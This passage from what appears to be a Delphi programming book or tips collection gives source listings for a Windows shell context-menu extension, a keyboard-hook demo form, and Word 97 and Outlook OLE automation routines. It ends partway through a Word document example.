Listing 2 - FormViewImpl.pas {=============================================================== FormViewImpl Unit This unit implements the TFormViewContentMenu class, which is a COM object that supports the IShellExt and IContextMenu interfaces. ===============================================================} unit FormViewImpl; interface uses Windows, Forms, StdCtrls, ShellApi, SysUtils, Classes, Controls, ComServ, ComObj, ShlObj, ActiveX; const CLSID_DelphiFormViewerContextMenu: TGUID = '{F169D961-B907-11D0-B8FA-A85800C10000}'; type TFormViewContextMenu = class( TComObject, IShellExtInit, IContextMenu ) private FFileName: string; public // IShellExtInit Methods // Use a Method Resolution Clause because Initialize is // defined as a virtual method in TComObject function IShellExtInit.Initialize = ShellInit; function ShellInit( Folder: PItemIDList; DataObject: IDataObject; ProgID: HKEY ): HResult; stdcall; // IContextMenu Methods function QueryContextMenu( Menu: HMENU; Index, CmdFirst, CmdLast, Flags: UINT ): HResult; stdcall; function GetCommandString( Cmd, Flags: UINT;
735
Reserved: PUINT; Name: LPSTR; MaxSize: UINT ): HResult; stdcall; function InvokeCommand( var CommandInfo: TCMInvokeCommandInfo ): HResult; stdcall; end; implementation uses Registry; {==================================} {== TFormViewContextMenu Methods ==} {==================================} function TFormViewContextMenu.ShellInit( Folder: PItemIDList; DataObject: IDataObject; ProgID: HKEY ): HResult; var Medium: TStgMedium; FE: TFormatEtc; begin if DataObject = nil then begin Result := E_FAIL; Exit; end; with FE do begin cfFormat := CF_HDROP; ptd := nil; dwAspect := DVASPECT_CONTENT; lindex := -1; tymed := TYMED_HGLOBAL; end; // Transfer the data referenced by the IDataObject reference to // an HGLOBAL storage medium in CF_HDROP format. Result := DataObject.GetData( FE, Medium ); if Failed( Result ) then Exit; try // If only one file is selected, retrieve the file name and // store it in FileName. Otherwise fail. if DragQueryFile( Medium.hGlobal, $FFFFFFFF, nil, 0) = 1 then begin SetLength( FFileName, MAX_PATH ); DragQueryFile( Medium.hGlobal, 0, PChar(FFileName), MAX_PATH); Result := NOERROR; end else Result := E_FAIL; finally ReleaseStgMedium( Medium ); end; end; function TFormViewContextMenu.QueryContextMenu( Menu: HMENU; Index, CmdFirst, CmdLast, Flags: UINT ): HResult; var MenuText: string; AddMenuItem: Boolean; begin
736
AddMenuItem := True; if ( Flags and $000F ) = CMF_NORMAL then MenuText := 'View (Form File on Desktop) as Text' else if ( Flags and CMF_VERBSONLY ) <> 0 then MenuText := 'View (Form File via Shortcut) as Text' else if ( Flags and CMF_EXPLORE ) <> 0 then MenuText := 'View (Form File in Explorer) as Text' else AddMenuItem := False; if AddMenuItem then begin InsertMenu( Menu, Index, mf_String or mf_ByPosition, CmdFirst, PChar( MenuText ) ); Result := 1; // Return number of menu items added end else Result := NOERROR; end; {= TFormViewContextMenu.QueryContextMenu =} function TFormViewContextMenu.GetCommandString( Cmd, Flags: UINT; Reserved: PUINT; Name: LPSTR; MaxSize: UINT ): HResult; begin case Cmd of 0: begin if Flags = GCS_HELPTEXT then begin // Return the string to be displayed in the Explorer // status bar when the menu item is selected StrCopy(Name, 'View the selected Delphi form file as text'); end; Result := NOERROR; end; else // Invalid menu item Result := E_INVALIDARG; end; end; {= TFormViewContextMenu.GetCommandString =} function GetViewerPath: string; var R: TRegIniFile; begin R := TRegIniFile.Create( '\Software\Raize\FormFileViewer' ); try Result := R.ReadString( 'Program', 'Path', '' ); Result := '"' + Result + '" "%s"'; finally R.Free; end; end; function TFormViewContextMenu.InvokeCommand( var CommandInfo: TCMInvokeCommandInfo ): HResult; var Success: Boolean; CmdLine: string; SI: TStartupInfo; PI: TProcessInformation; begin // Make sure we are not being called by an application if HiWord( Integer( CommandInfo.lpVerb ) ) <> 0 then
737
begin Result := E_FAIL; Exit; end; // Execute the command specified by CommandInfo.lpVerb case LoWord( CommandInfo.lpVerb ) of 0: begin FillChar( SI, SizeOf( SI ), #0 ); SI.cb := SizeOf( SI ); SI.wShowWindow := sw_ShowNormal; SI.dwFlags := STARTF_USESHOWWINDOW; CmdLine := Format( GetViewerPath, [ FFileName ] ); Success := CreateProcess( nil, PChar( CmdLine ), nil, nil, True, 0, nil, nil, SI, PI ); if not Success then begin MessageBox( CommandInfo.hWnd, 'Could not start the Form File Viewer.', 'Error', mb_IconError or mb_OK ); end; Result := NOERROR; end; else // Invalid menu item Result := E_INVALIDARG; end; { case } end; {= TFormViewContextMenu.InvokeCommand =} initialization // Create a COM object factory which will be responsible for // creating instances of our shell extension. ComServer is // declared in ComServ unit. TComObjectFactory.Create( ComServer, TFormViewContextMenu, CLSID_DelphiFormViewerContextMenu, '', 'View Delphi Form Files', ciMultiInstance ); end.
Listing 3 - RegMain.pas unit RegMain; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls; type TForm1 = class(TForm) Button1: TButton; Panel1: TPanel; Label1: TLabel; Image1: TImage; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject);
738
private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} uses Registry; const FormViewerClassID = '{F169D961-B907-11D0-B8FA-A85800C10000}'; procedure TForm1.FormCreate(Sender: TObject); var Reg: TRegistry; begin Reg := TRegistry.Create; try with Reg do begin RootKey := HKEY_CLASSES_ROOT; OpenKey( '\CLSID\' + FormViewerClassID, True ); WriteString( '', 'Delphi Form Viewer Context Menu Shell Extension'); OpenKey( '\CLSID\' + FormViewerClassID + '\InProcServer32', True ); WriteString( '', ExtractFilePath( Application.ExeName ) + '\FormView.dll' ); WriteString( 'ThreadingModel', 'Apartment' ); CreateKey( '\DelphiForm\shellex\ContextMenuHandlers\' + FormViewerClassID ); end; finally Reg.Free; end; end; procedure TForm1.Button1Click(Sender: TObject); begin Close; end; end.
739
Unit KeyBoardHookUnit; Interface Uses Windows, SysUtils, Forms, Controls, StdCtrls, Classes, Dialogs, Messages; Const CM_HookMessage = WM_APP + 400; Type TKeyboardHookForm = class(TForm) procedure FormCreate(SEnder: TObject); procedure FormDestroy(SEnder: TObject); Private { Private declarations } Procedure HookMessageTrigger(Var Message: TMessage); Message CM_HookMessage; public { Public declarations } End; Var KeyboardHookForm: TKeyboardHookForm; Implementation {$R *.dfm} {Functions prototypes for the hook dll} Type TGetHookRecPointer = Function: Pointer; Stdcall; Type TStartKeyBoardHook = Procedure; Stdcall; Type TStopKeyBoardHook = Procedure; Stdcall; {The record type filled in by the hook dll} Type THookRec = Packed Record TheHookHandle : HHOOK; TheAppWinHandle : HWND; TheCtrlWinHandle : HWND; TheCtrlMessage : Integer; TheKeyCount : DWORD; IsAltPressed : bool; IsCtrlPressed : bool; IsShiftPressed : bool; KeyCode: Integer; End; {A pointer type to the hook record} Type PHookRec = ^THookRec; Var hHookLib : THANDLE; {A handle to the hook dll} GetHookRecPointer : TGetHookRecPointer; {Function pointer} StartKeyBoardHook : TStartKeyBoardHook; {Function pointer} StopKeyBoardHook : TStopKeyBoardHook; {Function pointer} LibLoadSuccess : bool; {If the hook lib was successfully loaded} lpHookRec : PHookRec; {A pointer to the hook record} EnterKeyCount : DWORD; {An internal count of the Enter Key} Procedure TKeyboardHookForm.FormCreate(SEnder: TObject); Begin {Set our initial variables} lpHookRec := Nil; LibLoadSuccess := False;
740
@GetHookRecPointer := Nil; @StartKeyBoardHook := Nil; @StopKeyBoardHook := Nil; {Try to load the hook dll} hHookLib := LoadLibrary('KEYBOARDHOOK.DLL'); {If the hook dll was loaded successfully} If hHookLib <> 0 Then Begin {Get the function addresses} @GetHookRecPointer := GetProcAddress(hHookLib, 'GETHOOKRECPOINTER'); @StartKeyBoardHook := GetProcAddress(hHookLib, 'STARTKEYBOARDHOOK'); @StopKeyBoardHook := GetProcAddress(hHookLib, 'STOPKEYBOARDHOOK'); {Did we find all the functions we need?} If ((@GetHookRecPointer <> Nil) And (@StartKeyBoardHook <> Nil) And (@StopKeyBoardHook <> Nil)) Then Begin LibLoadSuccess := True; {Get a pointer to the hook record} lpHookRec := GetHookRecPointer; {Were we successfull in getting a ponter to the hook record} If (lpHookRec <> Nil) Then Begin {Fill in our portion of the hook record} lpHookRec^.TheHookHandle := 0; lpHookRec^.TheCtrlWinHandle := KeyBoardHookForm.Handle; lpHookRec^.TheCtrlMessage := CM_HookMessage; lpHookRec^.TheKeyCount := 0; {Start the keyboard hook} StartKeyBoardHook; End; End Else Begin {We failed to find all the functions we need} FreeLibrary(hHookLib); hHookLib := 0; @GetHookRecPointer := Nil; @StartKeyBoardHook := Nil; @StopKeyBoardHook := Nil; End; End; End; Procedure TKeyboardHookForm.FormDestroy(SEnder: TObject); Begin {Did we load the dll successfully?} If (LibLoadSuccess = True) Then Begin {Did we sucessfully get a pointer to the hook record?} If (lpHookRec <> Nil) Then Begin {Did the hook get set?} If (lpHookRec^.TheHookHandle <> 0) Then Begin StopKeyBoardHook; End; End; {Free the hook dll} FreeLibrary(hHookLib); End;
741
End; End.
742
MSOffice/Word 23. Delphi 2.01 / MS Office 97 / OLE / VB for Applications 24. OLE Tester 25. Getting data from Delphi app into Word document 26. WordBasic via OLE 27. Creating Word Documents 28. Starting Word without AutoStart Macro 29. Wordbasic from Delphi using Parameters 30. Hack: tired of ReportSmith? Wish you had wysiwyg reports? 31. Excelmsoffice8 32. Delphi + WordBasic 8msoffice9
Delphi 2.01 / MS Office 97 / OLE / VB for Applications From: "Jill Marquiss" This answers those really interesting questions of How do you know whether word8 is installed? Where are the templates? Why do I keep getting a new instance when I didn't want one? Where the heck is the document the user was typing on? Why does word end when my procedure ends? How about that Outlook - how do I get to the folders? How to make a simple contact and how to fish for an existing contact? {--------------------Straight from the type library--------------- WORDDEC.INC} Const // OlAttachmentType olByValue = 1; olByReference = 4; olEmbeddedItem = 5; olOLE = 6; // OlDefaultFolders olFolderDeletedItems = 3; olFolderOutbox = 4; olFolderSentMail = 5; olFolderInbox = 6; olFolderCalendar = 9; olFolderContacts = 10; olFolderJournal = 11; olFolderNotes = 12; olFolderTasks = 13; // OlFolderDisplayMode olFolderDisplayNormal = 0; olFolderDisplayFolderOnly = 1; olFolderDisplayNoNavigation = 2; // OlInspectorClose olSave = 0; olDiscard = 1; olPromptForSave = 2; // OlImportance olImportanceLow = 0; olImportanceNormal = 1; olImportanceHigh = 2;
743
// OlItems olMailItem = 0; olAppointmentItem = 1; olContactItem = 2; olTaskItem = 3; olJournalItem = 4; olNoteItem = 5; olPostItem = 6; // OlSensitivity olNormal = 0; olPersonal = 1; olPrivate = 2; olConfidential = 3; // OlJournalRecipientType; olAssociatedContact = 1; // OlMailRecipientType; olOriginator = 0; olTo = 1; olCC = 2; olBCC = 3 ; Const wdGoToBookmark = -1; wdGoToSection = 0; wdGoToPage = 1; wdGoToTable = 2; wdGoToLine = 3; wdGoToFootnote = 4; wdGoToEndnote = 5; wdGoToComment = 6; wdGoToField = 7; wdGoToGraphic = 8; wdGoToObject = 9; wdGoToEquation = 10; wdGoToHeading = 11; wdGoToPercent = 12; wdGoToSpellingError = 13; wdGoToGrammaticalError = 14; wdGoToProofreadingError = 15; wdGoToFirst = 1; wdGoToLast = -1; wdGoToNext = 2; //this is interesting wdGoToRelative = 2; //how can these two be the same wdGoToPrevious = 3; wdGoToAbsolute = 1;
These are basic functions Function Function Function Function Function Function Function Function Function Function Function
GetWordUp(StartType : string):Boolean; InsertPicture(AFileName : String) : Boolean; InsertContactInfo(MyId : TMyId; MyContId : TMyContId): Boolean; GetOutlookUp(ItemType : Integer): Boolean; MakeOutLookContact(MyId : TMyId; MyContId : TMyContId) : Boolean; ImportOutlookContact : Boolean; GetOutlookFolderItemCount : Integer; GetThisOutlookItem(AnIndex : Integer) : Variant; FindMyOutlookItem(AFilter : String; var AItem : Variant) :Boolean; FindNextMyOutlookItem(var AItem : Variant) : Boolean; CloseOutlook : Boolean;
Type TTreeData = class(TObject) Public ItemId : String; end;
744
{$I worddec.inc} {literal crap translated from type libraries} Var myRegistry : TRegistry; GotWord : Boolean; WhereIsWord : String; WordDoneMessage : Integer; Basically : variant; Wordy: Variant; MyDocument : Variant; MyOutlook : Variant; MyNameSpace : Variant; MyFolder : Variant; MyAppointment : Variant;
Function GetWordUp(StartType : string):Boolean; // to start word the "right" way for me // if you start word, you own word and I wanted it to remain after I closed var i : integer; AHwnd : Hwnd; AnAnswer : Integer; temp : string; MyDocumentsCol : Variant; TemplatesDir : Variant; OpenDialog1 : TopenDialog; begin
result := false; myRegistry := Tregistry.Create; myRegistry.RootKey := HKEY_LOCAL_MACHINE; // no word 8, no function If myRegistry.KeyExists('SOFTWARE\Microsoft\Office\8.0\Word') then GotWord := true Else GotWord := false; If GotWord then //where the heck is it? If myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0', false) then begin WhereisWord := myRegistry.ReadString('BinDirPath'); MyRegistry.CloseKey; end else GotWord := false; If GotWord then //where are those pesky templates? Begin MyRegistry.RootKey := HKEY_CURRENT_USER; If myRegistry.OpenKey('SOFTWARE\Microsoft\Office\8.0\Common\FileNew\SharedTemplates ', false) then Begin TemplatesDir := myRegistry.ReadString(Nothing); MyRegistry.CloseKey; end Else Begin Warning('Ole setup','The workgroup templates have not been setup'); GotWord := false;
745
end; End; myRegistry.free; If not gotword then Begin Warning('Ole Handler', 'Word is not installed'); exit; end; //this is the class name for the last two versions of word's main window temp := 'OpusApp'; AHwnd := FindWindow(pchar(temp),nil); If (AHwnd = 0) then //it isn't running and I don't wanna start it by automation Begin Temp := WhereisWord + '\winword.exe /n'; AnAnswer := WinExec(pchar(temp), 1); If (AnAnswer < 32) then Begin Warning('Ole Handler', 'Unable to find WinWord.exe'); Exit; End; End; Application.ProcessMessages; {If you use Word.Application, you get your own instance} {If you use Word.Document, you get the running instance} {this makes a trash document (for me, anyway) and I chuck it out later} try {and make a new document} Basically := CreateOleObject('Word.Document.8'); except Warning('Ole Handler', 'Could not start Microsoft Word.'); Result := False; Exit; end; Try {get the app variant from that new document} Wordy := Basically.Application; Except Begin Warning('Ole Handler', 'Could not access Microsoft Word.'); Wordy := UnAssigned; Basically := UnAssigned; Exit; end; end; Application.ProcessMessages; Wordy.visible := false; MyDocumentsCol := Wordy.Documents; {If its just my throw away document or I wanted a brand new one} If (MyDocumentsCol.Count = 1) or (StartType = 'New') then Begin OpenDialog1 := TOpenDialog.Create(Application); OpenDialog1.filter := 'WordTemplates|*.dot|Word Documents|*.doc'; OpenDialog1.DefaultExt := '*.dot'; OpenDialog1.Title := 'Select your template'; OpenDialog1.InitialDir := TemplatesDir; If OpenDialog1.execute then Begin Wordy.ScreenUpdating:= false; MyDocumentsCol := wordy.Documents; MyDocumentsCol.Add(OpenDialog1.Filename, False); OpenDialog1.free; end Else
746
begin OpenDialog1.Free; Wordy.visible := true; Wordy := Unassigned; Basically := Unassigned; Exit; end;
end Else {get rid of my throwaway} MyDocument.close(wdDoNotSaveChanges); {now I either have a new document based on a template the user selected or I have their current document} MyDocument := Wordy.ActiveDocument; Result := true; Application.ProcessMessages; end; Function InsertPicture(AFileName : String) : Boolean; var MyShapes : Variant; MyRange : variant; begin Result := True; If GetWordUp('Current')then Try Begin MyRange := MyDocument.Goto(wdgotoline, wdgotolast); MyRange.EndOf(wdParagraph, wdMove); MyRange.InsertBreak(wdPageBreak); MyShapes := MyDocument.InlineShapes; MyShapes.AddPicture(afilename, false, true, MyRange); end; Finally begin Wordy.ScreenUpdating:= true; Wordy.visible := true; Wordy := Unassigned; Basically := UnAssigned; Application.ProcessMessages; end; end else Result := False; end; Function InsertContactInfo(MyId : TMyId; MyContId : TMyContId) : Boolean; var MyCustomProps : Variant; begin { personally, I store stuff in document properties and then give out a toolbar macro to allow the user to "set" the properties in their template or current document. this has three advantages that I know of (and no defects that I'm aware of) 1. The user can place the location of the info in the document either before or after this function runs 2. A custom property can be placed any number of times inside the same document 3. A user can map the properties in their Outlook or search on them using that abismal file open in Word}
747
Result := true; If GetWordUp('New')then Try Begin MyCustomProps := MyDocument.CustomDocumentProperties; MyCustomProps.add(cpId, false, msoPropertyTypeString, MyId.Id); MyCustomProps.add(cpOrganizationName, false, msoPropertyTypeString, MyId.OrganizationName); MyCustomProps.add(cpAddress1, false, msoPropertyTypeString,MyId.Address1); MyCustomProps.add(cpAddress2, false, msoPropertyTypeString, MyId.Address2); MyCustomProps.add(cpCity, false, msoPropertyTypeString, MyId.City); MyCustomProps.add(cpStProv, false, msoPropertyTypeString, MyId.StProv); MyCustomProps.add(cpCountry, false, msoPropertyTypeString,MyId.City); MyCustomProps.add(cpPostal, false, msoPropertyTypeString, MyId.Country); MyCustomProps.add(cpAccountId, false, msoPropertyTypeString, MyId.AccountId); MyCustomProps.add(cpFullName, false, msoPropertyTypeString, MyContId.FullName); MyCustomProps.add(cpSalutation, false, msoPropertyTypeString, MyContId.Salutation); MyCustomProps.add(cpTitle, false, msoPropertyTypeString,MyContId.Title); If (MyContId.workPhone = Nothing) or (MycontId.WorkPhone = ASpace) then MyCustomProps.add(cpPhone, false, msoPropertyTypeString, MyId.Phone ) else MyCustomProps.add(cpPhone, false, msoPropertyTypeString, MyContId.WorkPhone ); If (MyContId.Fax = Nothing) or (MycontId.Fax = ASpace) then MyCustomProps.add(cpFax, false, msoPropertyTypeString, MyId.Fax) else MyCustomProps.add(cpFax, false, msoPropertyTypeString,MyContId.Fax); If (MyContId.EMail = Nothing) or (MycontId.Email = ASpace) then MyCustomProps.add(cpEmail, false, msoPropertyTypeString, MyId.Email) else MyCustomProps.add(cpEmail, false, msoPropertyTypeString, MyContId.Email); MyCustomProps.add(cpFirstName, false, msoPropertyTypeString,MyContId.FirstName); MyCustomProps.add( cpLastName, false, msoPropertyTypeString, MyContId.LastName); MyDocument.Fields.Update; end; Finally begin Wordy.ScreenUpdating:= true; Wordy.visible := true; Wordy := Unassigned; Basically := UnAssigned; Application.ProcessMessages; end; end Else Result := false;
748
end; Function GetOutlookUp(ItemType : Integer): Boolean; Const AppointmentItem = 'Calendar'; TaskItem = 'Tasks'; ContactItem = 'Contacts'; JournalItem = 'Journal'; NoteItem = 'Notes'; var MyFolders : Variant; MyFolders2 : variant; MyFolders3 : variant; MyFolder2 : Variant; MyFolder3 : variant; MyUser : Variant; MyFolderItems : Variant; MyFolderItems2 : Variant; MyFolderItems3 : Variant; MyContact : Variant; i, i2, i3 : Integer; MyTree : TCreateCont; MyTreeData : TTreeData; RootNode, MyNode, MyNode2 : ttreeNode; ThisName : String; Begin {this is really ugly........ There is some really wierd thing going on in the object model for outlook so excuse this folder.folder.folder stuff cause the "right way" doesn't work for folders and this does} {user picks folder from treeview} Result := False; Case ItemType of olAppointmentItem : ThisName := AppointmentItem; olContactItem : ThisName := ContactItem; olTaskItem : ThisName := TaskItem; olJournalItem : ThisName := JournalItem; olNoteItem : ThisName := NoteItem; Else ThisName := 'Unknown'; End; try MyOutlook := CreateOleObject('Outlook.Application'); except warning('Ole Interface','Could not start Outlook.'); Exit; end; {this is the root folder} MyNameSpace := MyOutlook.GetNamespace('MAPI'); MyFolderItems := MyNameSpace.Folders; MyTree := TCreateCont.create(Application); {Really unfortunate, but a user can create something other than the default folder for the kind of thing you're interested in - so this goes down a coupla levels in the folder chain} MyTree.Caption := 'Select ' + ThisName + ' Folder'; With MyTree do If MyFolderItems.Count > 0 then For i := 1 to MyFolderItems.Count do begin MyFolder := MyNameSpace.Folders(i); MyTreeData := TTreeData.create; MyTreeData.ItemId := MyFolder.EntryId;
749
RootNode := TreeView1.Items.AddObject(nil, MyFolder.Name, MyTreeData); MyFolders2 := MyNameSpace.folders(i).Folders; If MyFolders2.Count > 0 then for i2 := 1 to MyFolders2.Count do begin MyFolder2 := MyNameSpace.folders(i).Folders(i2); If (MyFolder2.DefaultItemType = ItemType) or (MyFolder2.Name = ThisName) then Begin MyTreeData := TTreeData.create; MyTreeData.ItemId := MyFolder2.EntryId; {this is what you need to directly point at the folder} MyNode := Treeview1.Items.addChildObject(RootNode, MyFolder2.Name, MyTreeData); MyFolders3 := MyNameSpace.folders(i).Folders(i2).Folders; If MyFolders3.Count > 0 then for i3 := 1 to MyFolders3.Count do begin MyFolder3 := MyNameSpace.folders(i).Folders(i2).Folders(i3); If (MyFolder3.DefaultItemType = ItemType) then Begin MyTreeData := TTreeData.create; MyTreeData.ItemId := MyFolder3.EntryId; MyNode2 := Treeview1.Items.addChildObject(MyNode, MyFolder3.Name, MyTreeData); end; end; end; end; end; If MyTree.TreeView1.Items.Count = 2 then {there is only the root and my designated folder} MyFolder := MyNameSpace.GetFolderFromID(TTreeData(MyTree.TreeView1.Items[1].Data).ItemId ) Else begin MyTree.Treeview1.FullExpand; MyTree.ShowModal; If MyTree.ModalResult = mrOk then Begin If MyTree.Treeview1.Selected <> nil then MyFolder := MyNameSpace.GetFolderFromID(TTreeData(MyTree.Treeview1.Selected.Data).ItemId ); end else Begin MyOutlook := UnAssigned; For i:= MyTree.Treeview1.Items.Count -1 downto 0 do TTreeData(MyTree.Treeview1.Items[i].Data).free; MyTree.release; exit; end; end; For i:= MyTree.Treeview1.Items.Count -1 downto 0 do TTreeData(MyTree.Treeview1.Items[i].Data).free; MyTree.release; Result := true; end;
750
Function MakeOutlookContact(MyId : TMyId; MyContId : TMyContId) : boolean; var MyContact : Variant; begin Result := false; If not GetOutlookUp(OlContactItem) then exit; MyContact := MyFolder.Items.Add(olContactItem); MyContact.Title := MyContId.Honorific; MyContact.FirstName := MyContId.FirstName; MyContact.MiddleName := MycontId.MiddleInit; MyContact.LastName := MycontId.LastName; MyContact.Suffix := MyContId.Suffix; MyContact.CompanyName := MyId.OrganizationName; MyContact.JobTitle := MyContId.Title; MyContact.OfficeLocation := MyContId.OfficeLocation; MyContact.CustomerId := MyId.ID; MyContact.Account := MyId.AccountId; MyContact.BusinessAddressStreet := MyId.Address1 + CRLF + MyId.Address2; MyContact.BusinessAddressCity := MyId.City; MyContact.BusinessAddressState := MyId.StProv; MyContact.BusinessAddressPostalCode := MyId.Postal; MyContact.BusinessAddressCountry := MyId.Country; If (MyContId.Fax = Nothing) or (MyContId.Fax = ASpace) then MyContact.BusinessFaxNumber := MyId.Fax Else MyContact.BusinessFaxNumber := MyContId.Fax; If (MyContId.WorkPhone = Nothing) or (MyContId.WorkPhone = ASpace) then MyContact.BusinessTelephoneNumber := MyId.Phone Else MyContact.BusinessTelephoneNumber := MyContId.WorkPhone; MyContact.CompanyMainTelephoneNumber := MyId.Phone; MyContact.HomeFaxNumber := MyContId.HomeFax; MyContact.HomeTelephoneNumber := MyContId.HomePhone; MyContact.MobileTelephoneNumber := MyContId.MobilePhone; MyContact.OtherTelephoneNumber := MyContId.OtherPhone; MyContact.PagerNumber := MyContId.Pager; MyContact.Email1Address := MyContId.Email; MyContact.Email2Address := MyId.Email; Result := true; Try MyContact.Save; Except Result := false; end; MyOutlook := Unassigned; end; Function GetThisOutlookItem(AnIndex : Integer) : Variant; Begin Result := myFolder.Items(AnIndex); end; Function GetOutlookFolderItemCount : Integer; Var myItems : Variant; Begin Try MyItems := MyFolder.Items; Except Begin Result := 0; exit; end; end; Result := MyItems.Count; end;
751
Function FindMyOutlookItem(AFilter : String; var AItem : Variant) : Boolean; Begin {this is another real PAIN - nil variant} Result := true; Try AItem := myFolder.Items.Find(AFilter); Except Begin aItem := MyFolder; Result := false; end; End; End; Function FindNextMyOutlookItem(var AItem : Variant) : Boolean; Begin Result := true; Try AItem := myFolder.Items.FindNext; Except Begin AItem := myFolder; Result := false; end; End; End; Function CloseOutlook : Boolean; begin Try MyOutlook := Unassigned; Except End; Result := true; end;
How to use this stuff! a unit to pick an Outlook contact With many thanks to B. stowers and the lovely extended list view unit UImpContact; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, UMain, StdCtrls, Buttons, ComCtrls, ExtListView; type TFindContact = class(TForm) ContView1: TExtListView; SearchBtn: TBitBtn; CancelBtn: TBitBtn; procedure SearchBtnClick(Sender: TObject); procedure CancelBtnClick(Sender: TObject); procedure ContView1DblClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations }
752
end; var FindContact: TFindContact; implementation Uses USearch; {$R *.DFM} procedure TFindContact.SearchBtnClick(Sender: TObject); begin If ContView1.Selected <> nil then ContView1DblClick(nil); end; procedure TFindContact.CancelBtnClick(Sender: TObject); begin CloseOutlook; ModalResult := mrCancel; end; procedure TFindContact.ContView1DblClick(Sender: TObject); var MyContact : variant; begin If ContView1.Selected <> nil then Begin MyContact := GetThisOutlookItem(StrToInt(ContView1.Selected.subitems[2])); With StartForm.MyId do If Not GetData(MyContact.CustomerId) then begin InitData; If MyContact.CustomerId <> '' then Id := MyContact.CustomerId Else Id := MyContact.CompanyName; If DoesIdExist(Startform.MyId.Id) then begin Warning('Data Handler', 'Can not establish unique Id' + CRLF + 'Edit CustomerId in Outlook and then try again'); CloseOutlook; ModalResult := mrCancel; Exit; end; OrganizationName := MyContact.CompanyName; IdType := 1; AccountId := MyContact.Account; Address1 := MyContact.BusinessAddressStreet; City := MyContact.BusinessAddressCity; StProv := MyContact.BusinessAddressState ; Postal := MyContact.BusinessAddressPostalCode; Country := MyContact.BusinessAddressCountry; Phone := MyContact.CompanyMainTelephoneNumber; Insert; end; With StartForm.MyContId do begin InitData; ContIdId := StartForm.MyId.Id; Honorific := MyContact.Title ; FirstName := MyContact.FirstName ; MiddleInit := MyContact.MiddleName ; LastName := MyContact.LastName ; Suffix := MyContact.Suffix ; Fax := MyContact.BusinessFaxNumber ; WorkPhone := MyContact.BusinessTelephoneNumber; HomeFax := MyContact.HomeFaxNumber ; HomePhone := MyContact.HomeTelephoneNumber ; MobilePhone := MyContact.MobileTelephoneNumber ;
753
OtherPhone := MyContact.OtherTelephoneNumber ; Pager := MyContact.PagerNumber ; Email := MyContact.Email1Address ; Title := MyContact.JobTitle; OfficeLocation := MyContact.OfficeLocation ; Insert; End;
end; CloseOutlook; ModalResult := mrOk; end;
procedure TFindContact.FormCreate(Sender: TObject); var MyContact : Variant; MyCount : Integer; i : Integer; AnItem : TListItem; begin If not GetOutlookUp(OlContactItem) then exit; MyCount := GetOutlookFolderItemCount ; For i := 1 to MyCount do begin MyContact := GetThisOutlookItem(i); AnItem := ContView1.Items.Add; AnItem.Caption := MyContact.CompanyName; AnItem.SubItems.add(MyContact.FirstName); AnItem.Subitems.Add(MyContact.LastName); AnItem.SubItems.Add(inttostr(i)); End; end; procedure TFindContact.FormClose(Sender: TObject; var Action: TCloseAction); begin Action := cafree; end; end.
OLE Tester From: [email protected] This is a VERY simple test that I made myself to get started with OLE. I was asked to add OLE support to a program I made and this is what I did to have a program to test that my own OLE server worked. This creates the oleobject upon creation and then whenever you press a button it calls a procedure in the oleserver. unit oletestu; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type
754
TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } ttsesed : variant; end; var Form1: TForm1; implementation uses oleauto; {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin ttsesed := createoleobject('ttdewed.ttsesole'); end; procedure TForm1.Button1Click(Sender: TObject); begin ttsesed.openeditfile; end; procedure TForm1.Button2Click(Sender: TObject); begin ttsesed.appshow; end; end.
Getting data from Delphi app into Word document From: Darek Maluchnik
Lib "c:\sample\test.dll" As String
Sub MAIN mystring$ = StringFromDelphi Insert mystring$ End Sub
Create simple TEST.DLL in Delphi - just form with a button. Save it (eg.in c:\sample - see Word macro) as test.dpr and testform.pas. Now add to your project EXPORTED function 'StringFromDelphi' and 'close' on button click. You can paste the stuff from below: library Test;
(* test.dpr in c:\sample *)
755
uses Testform in 'TESTFORM.PAS'; exports StringFromDelphi; begin end.
unit Testform; (* testform.pas in c:\sample *) interface uses WinTypes, WinProcs, Forms, Classes, Controls, StdCtrls, SysUtils; type TForm1 = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); end; var Form1: TForm1; function StringFromDelphi : PChar; export; {$ifdef WIN32} stdcall; {$endif} implementation {$R *.DFM} function StringFromDelphi: Pchar; var StringForWord : array[0..255] of char; begin Application.CreateForm(TForm1, Form1); Form1.ShowModal; Result:=StrPCopy(StringForWord, Form1.Button1.caption); end; procedure TForm1.Button1Click(Sender: TObject); begin close; end; end.
Compile test.dll. Run macro from Word, Delphi form should appear - click the button to get some data from Delphi. There is a text in PCMagazine Vol12.No22 on accessing DLL functions from Word. You can get it (DLLACCES) from PCMag web site.
WordBasic via OLE From: [email protected] (CEHJohnson) Try the following: MsWord := CreateOleObject('Word.Basic'); MsWord.FileNewDefault; MsWord.TogglePortrait;
Creating Word Documents From: [email protected] (Alan MCCulloch) I have found the following works well D2 -> Word 97, using "Bookmark" fields in Word. ..
756
.. .. implementation uses OleAuto; .. .. .. var V : Variant ; .. .. ..
V := 0; // at some point just to initialise
